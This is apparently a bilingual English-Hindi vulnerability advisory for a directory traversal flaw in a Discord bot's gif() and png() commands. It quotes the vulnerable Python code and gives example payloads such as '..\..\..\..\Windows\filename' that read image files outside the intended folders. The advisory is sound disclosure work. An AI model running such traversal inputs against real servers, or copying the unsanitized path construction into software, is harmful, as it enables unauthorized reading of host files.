
Language Sloth Sloth Bot 1.0 is vulnerable to Directory Traversal in the gif() and png() functions. The functions build file paths using unsanitized user input for the 'name' parameter, allowing attackers to reference files outside the intended resource directories.
Language Sloth Discord बॉट gif() और png() फ़ंक्शन में डायरेक्टरी ट्रैवर्सल के लिए संवेदनशील है। ये फ़ंक्शन 'name' पैरामीटर के लिए अस्वच्छित उपयोगकर्ता इनपुट का उपयोग करके फ़ाइल पथ बनाते हैं, जिससे हमलावर इच्छित संसाधन निर्देशिकाओं के बाहर की फ़ाइलों को संदर्भित कर सकते हैं।
फ़ाइल files.py के अंतर्गत फ़ंक्शन "gif" और "png" डायरेक्टरी ट्रैवर्सल के लिए संवेदनशील हैं क्योंकि वे बॉट होस्ट करने वाले सर्वर से स्थानीय रूप से फ़ाइलें प्राप्त करने के लिए "open" का उपयोग करते हैं। नीचे दिए गए पेलोड डिस्कॉर्ड पर किसी भी उपयोगकर्ता को बॉट होस्ट करने वाले सर्वर पर कहीं भी होस्ट की गई ".gif" और ".png" फ़ाइलें प्राप्त करने की अनुमति देते हैं।
async def gif(self, ctx, name: str = None):
'''
(ADM) Sends a gif from the bot's gif folder.
:param name: The name of the gif file.
'''
await ctx.message.delete()
try:
with open(f'./gif/{name}.gif', 'rb') as pic:
await ctx.send(file=discord.File(pic))
except FileNotFoundError:
return await ctx.send("**File not found!**")
async def png(self, ctx, name: str = None):
'''
(ADM) Sends a png from the bot's png folder.
:param name: The name of the png file.
'''
await ctx.message.delete()
try:
await ctx.send(file=discord.File(f'./png/{name}.png'))
except FileNotFoundError:
return await ctx.send("**File not found!**")
नाम पैरामीटर बिना किसी सत्यापन या स्वच्छता के सीधे फ़ाइल पथ में शामिल किया जाता है:
f'./gif/{name}.gif'
f'./png/{name}.png'
उदाहरण पेलोड:
z!gif ..\..\..\..\Windows\filename
z!png ..\..\..\..\Windows\filename
उपरोक्त चित्र C:\Windows\cat.gif पर स्थित एक छवि के निष्कर्षण को दर्शाता है।